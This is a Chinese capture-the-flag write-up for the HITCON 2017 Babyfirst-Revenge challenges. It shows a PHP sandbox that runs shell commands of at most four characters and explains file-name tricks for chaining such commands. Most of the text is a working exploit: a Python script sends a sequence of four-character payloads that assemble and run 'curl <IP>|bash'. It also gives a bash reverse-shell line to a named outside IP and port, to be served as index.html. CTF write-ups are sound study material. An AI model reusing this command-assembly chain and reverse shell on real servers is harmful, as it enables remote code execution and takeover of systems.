[HITCON 2017]Babyfirst-Revenge-V2 & [HITCON 2017]Babyfirst-Revenge
解题步骤
由于v2比较极端,能打v2就能打v1,所以直接分析一波v2。
<?php
echo $_SERVER['REMOTE_ADDR']."\n";
$sandbox = '/var/www/html/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
每次传4个参,然后rce。真狠。linux的小trick++。
学习一波wp:https://mengsec.com/2018/10/31/HITCON-2017-babyfirst-revenge-v1-v2/
>x
这个命令会在linux当前目录下创建一个x空文件,然后用ls
将当前目录下的文件列出来,用>
写入到一个新文件中,然后sh直接执行该文件。除此之外,在文件中\
可以续写命令。然后这么一波操作,只需要ls将文件按一定顺序写入一个文件,直接sh运行就能getshell。
除此之外,*
是直接将当前目录按字母顺序ls
,但是如果目录有shell命令,可以直接执行。然后ls -t
是将当前目录下的文件按时间顺序列出。如果按时间顺序排序,那我们的命令就很好构建了,所以关键就是执行ls -t
。但是由于空格比其他字符的ascii码小所以想正常输出ls -t不太行,而且如果直接用ls>x
命令,会把x也输入到x文件里面,会出错,所以只能用*
,dir命令=ls,当有文件名为dir
的时候,而且在第一位,那么*
就会执行dir命令,将后面的文件名输出。既然不能正序,就直接逆序输出。可惜t>s,所以还得找一个小于s的字母选项
-h, –human-readable
with -l, print sizes in human readable format (e.g., 1K 234M 2G)
所以直接来个h就行。那么如何逆序呢?rev可以直接逆序。
当目录中存在rev和v两个文件时,使用*v相当于rev v
这么一波操作,直接搞好ls -th
,所以剩下的就简单了。说那么多废话,直接贴脚本,自己分析还好一点(逃)
import requests
import time
url = "http://bab86a10-0cf6-44c8-908a-fde238562c5f.node4.buuoj.cn:81/"
payload = [
">dir",
">sl",
">g\>",
">ht-",
"*>v",
">rev",
"*v>x", # ls -th>g
">sh",
">ba\\",
">\|\\",
">16\\",
">1\\",
">3.\\",
">17\\",
">6.\\",
">9\\",
">7.\\",
">4\\",
">\ \\",
">rl\\",
">cu\\",
"sh x",
"sh g"
]
r = requests.get(url+"?reset=1")
for i in payload:
print(i)
time.sleep(0.5)
r = requests.get(url + "?cmd=" + i)
除此之外,还要在服务器上写一个index.html:
bash -c 'bash -i >& /dev/tcp/47.96.173.116/2333 0>&1'